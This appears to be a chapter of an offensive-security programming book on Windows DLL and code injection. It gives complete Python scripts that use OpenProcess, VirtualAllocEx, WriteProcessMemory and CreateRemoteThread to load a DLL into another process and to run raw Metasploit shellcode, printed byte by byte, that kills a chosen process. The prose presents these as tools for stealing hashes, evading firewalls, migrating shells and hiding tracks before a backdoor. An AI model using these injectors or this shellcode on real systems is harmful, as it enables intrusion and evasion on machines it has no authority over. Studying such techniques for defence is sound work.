Chapter 7. DLL AND CODE INJECTION

At times when you are reversing or attacking a target, it is useful for you to be able to load code into a remote process and have it execute within that process's context. Whether you're stealing password hashes or gaining remote desktop control of a target system, DLL and code injection have powerful applications. We will create some simple utilities in Python that will enable you to harness both techniques so that you can easily implement them at will. These techniques should be part of every developer, exploit writer, shellcoder, and penetration tester's arsenal. We will use DLL injection to launch a pop-up window within another process, and we'll use code injection to test a piece of shellcode designed to kill a process based on its PID. Our final exercise will be to create and compile a Trojan backdoor entirely coded in Python. It relies heavily on code injection and uses some other sneaky tactics that every good backdoor should use. Let's begin by covering remote thread creation, the foundation for both injection techniques.

There are some primary differences between DLL injection and code injection; however, they are both achieved in the same manner: remote thread creation. The Win32 API comes preloaded with a function to do just that, CreateRemoteThread(),[35] which is exported from kernel32.dll. It has the following prototype:

HANDLE WINAPI CreateRemoteThread(
  HANDLE hProcess,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
);

Don't be intimidated; there are a lot of parameters in there, but they're fairly intuitive. The first parameter, hProcess, should look familiar; it's a handle to the process in which we are starting the thread. The lpThreadAttributes parameter simply sets the security descriptor for the newly created thread, and it dictates whether the thread handle can be inherited by child processes. We will set this value to NULL, which will give it a noninheritable thread handle and a default security descriptor. The dwStackSize parameter simply sets the stack size of the newly created thread. We will set this to zero, which gives it the default size that the process is already using. The next parameter is the most important one: lpStartAddress, which indicates where in memory the thread will begin executing. It is imperative that we properly set this address so that the code necessary to facilitate the injection gets executed. The next parameter, lpParameter, is nearly as important as the start address. It allows you to provide a pointer to a memory location that you control, which gets passed in as a function parameter to the function that lives at lpStartAddress. This may sound confusing at first, but you will see very soon how this parameter is crucial to performing a DLL injection. The dwCreationFlags parameter dictates how the thread will be started. We will always set this to zero, which means that the thread will execute immediately after it is created. Feel free to explore the MSDN documentation for other values that dwCreationFlags supports. The lpThreadId is the last parameter, and it is populated with the thread ID of the newly created thread.

Now that you understand the primary function call responsible for making the injection happen, we will explore how to use it to pop a DLL into a remote process and follow it up with some raw shellcode injection. The procedure to get the remote thread created, and ultimately run our code, is slightly different for each case, so we will cover it twice to illustrate the differences.

DLL injection has been used for both good and evil for quite some time. Everywhere you look you will see DLL injection occurring. From fancy Windows shell extensions that give you a glittering pony for a mouse cursor to a piece of malware stealing your banking information, DLL injection is everywhere. Even security products inject DLLs to monitor processes for malicious behavior. The nice thing about DLL injection is that we can write a compiled binary, load it into a process, and have it execute as part of the process. This is extremely useful, for instance, to evade software firewalls that let only certain applications make outbound connections. We are going to explore this a bit by writing a Python DLL injector that will enable us to pop a DLL into any process we choose.

In order for a Windows process to load DLLs into memory, the DLLs must use the LoadLibrary() function that's exported from kernel32.dll. Let's take a quick look at the function prototype:

HMODULE LoadLibrary(
    LPCTSTR lpFileName
);

The lpFileName parameter is simply the path to the DLL you wish to load. We need to get the remote process to call LoadLibraryA with a pointer to a string value that is the path to the DLL we wish to load. The first step is to resolve the address where LoadLibraryA lives and then write out the name of the DLL we wish to load. When we call CreateRemoteThread(), we will point lpStartAddress to the address where LoadLibraryA is, and we will set lpParameter to point to the DLL path that we have stored. When CreateRemoteThread() fires, it will call LoadLibraryA as if the remote process had made the request to load the DLL itself.

Let's get down to the code. Open a new Python file, name it dll_injector.py, and hammer out the following code.

 import sys
 from ctypes import *

 PAGE_READWRITE     =     0x04
 PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
 VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

 kernel32 = windll.kernel32
 pid      = sys.argv[1]
 dll_path = sys.argv[2]
 dll_len  = len(dll_path)

 # Get a handle to the process we are injecting into.
 h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

 if not h_process:

     print "[*] Couldn't acquire a handle to PID: %s" % pid
     sys.exit(0)

dll_injector.py # Allocate some space for the DLL path
  arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM,
   PAGE_READWRITE)

dll_injector.py # Write the DLL path into the allocated space
  written = c_int(0)
  kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,
   byref(written))

dll_injector.py # We need to resolve the address for LoadLibraryA
  h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
  h_loadlib  = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")

dll_injector.py # Now we try to create the remote thread, with the entry point set
  # to LoadLibraryA and a pointer to the DLL path as its single parameter
  thread_id = c_ulong(0)

 if not kernel32.CreateRemoteThread(h_process,
                                    None,
                                    0,
                                    h_loadlib,
                                    arg_address,
                                    0,
                                    byref(thread_id)):

     print "[*] Failed to inject the DLL. Exiting."
     sys.exit(0)


 print "[*] Remote thread with ID 0x%08x created." % thread_id.value

The first step dll_injector.py is to allocate enough memory to store the path to the DLL we are injecting and then write out the path to the newly allocated memory space dll_injector.py. Next we have to resolve the memory address where LoadLibraryA lives dll_injector.py, so that we can point the subsequent CreateRemoteThread() call dll_injector.py to its memory location. Once that thread fires, the DLL should get loaded into the process, and you should see a pop-up dialog that indicates the DLL has entered the process. Use the script like so:

./dll_injector <PID> <Path to DLL>

We now have a solid working example of how useful DLL injection can be. Even though a pop-up dialog is slightly anticlimactic, it's important to understand the technique. Now let's cover code injection!

Let's move on to something slightly more insidious. Code injection enables us to insert raw shellcode into a running process and have it immediately executed in memory without leaving a trace on disk. This is also what allows attackers to migrate their shell connection from one process to another, post-exploitation.

We are going to take a simple piece of shellcode that simply terminates a process based on its PID. This will enable you to move into a remote process and kill the process you were originally executing in to help cover your tracks. This will be a key feature of the final Trojan we will create. We will also show how you can safely substitute pieces of the shellcode so that you can make it slightly more modular to suit your needs.

To obtain the process-killing shellcode, we are going to visit the Metasploit project home page and use their handy shellcode generator. If you haven't used it before, head to http://metasploit.com/shellcode/ and take it for a spin. In this case I used the Windows Execute Command shellcode generator, which created the shellcode shown in Example 7-1. The pertinent settings are also shown:


When I generated the shellcode, I also cleared the 0x00 byte value from the Restricted Characters text box and made sure that the Selected Encoder was set to Default Encoder. The reason for this is shown in the last two lines of the shellcode, where you see the value \x41 eight times. Why is the capital letter A being repeated? Simple. We need to be able to dynamically specify a PID that needs to be killed, and so we are able to replace the repeated A character block with the PID to be killed and pad the rest of the buffer with NULL values. If we had used an encoder, then those A values would be encoded, and our life would be miserable trying to do a string replacement. This way, we can adapt the shellcode on the fly.

Now that we have our shellcode, it's time to get back to the code and demonstrate how code injection works. Open a new Python file, name it code_injector.py, and enter the following code.

  import sys
  from ctypes import *

  # We set the EXECUTE access mask so that our shellcode will
  # execute in the memory block we have allocated
  PAGE_EXECUTE_READWRITE         = 0x00000040
  PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
  VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

  kernel32      = windll.kernel32
  pid           = int(sys.argv[1])
  pid_to_kill   = sys.argv[2]

  if not sys.argv[1] or not sys.argv[2]:
      print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
      sys.exit(0)

  #/* win32_exec -  EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
  #Size=159 Encoder=None http://metasploit.com */
  shellcode = \
  "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
  "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
  "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
  "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
  "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
  "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
  "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
  "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
  "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
  "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

code_injector.py padding       = 4 - (len( pid_to_kill ))
  replace_value = pid_to_kill + ( "\x00" * padding )
  replace_string= "\x41" * 4

  shellcode     = shellcode.replace( replace_string, replace_value )
  code_size     = len(shellcode)

  # Get a handle to the process we are injecting into.
  h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

  if not h_process:

      print "[*] Couldn't acquire a handle to PID: %s" % pid
      sys.exit(0)

  # Allocate some space for the shellcode
  arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
   VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

  # Write out the shellcode
  written = c_int(0)
  kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
   code_size, byref(written))

  # Now we create the remote thread and point its entry routine
  # to be head of our shellcode
  thread_id = c_ulong(0)
code_injector.py if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,
   0,byref(thread_id)):

      print "[*] Failed to inject process-killing shellcode. Exiting."
      sys.exit(0)

  print "[*] Remote thread created with a thread ID of: 0x%08x" %
     thread_id.value
  print "[*] Process %s should not be running anymore!" % pid_to_kill

Some of the code above will look quite familiar, but there are some interesting tricks here. The first is to do a string replacement on the shellcode code_injector.py so that we swap our marker string with the PID we wish to terminate. The other notable difference is in the way we do our CreateRemoteThread() call code_injector.py, which now points to the lpStartAddress parameter at the beginning of our shellcode. We also set lpParameter to NULL because we aren't passing in a parameter to a function; rather, we just want the thread to begin executing the shellcode.

Take the script for a spin by starting up a couple of cmd.exe processes, obtain their respective PIDs, and pass them in as command-line arguments, like so:

./code_injector.py <PID to inject> <PID to kill>

Run the script with the appropriate command-line arguments, and you should see a successful thread created (it will return the thread ID). You should also observe that the cmd.exe process you selected to kill will no longer be around.

You now know how to load and execute shellcode directly from another process. This is handy not only when migrating your callback shells but also when hiding your tracks, because you won't have any code on disk. We are now going to combine some of what you've learned by creating a reusable backdoor that can give us remote access to a target machine anytime it is run. Let's get evil, shall we?



[35] See MSDN CreateRemoteThread Function (http://msdn.microsoft.com/en-us/library/ms682437.aspx).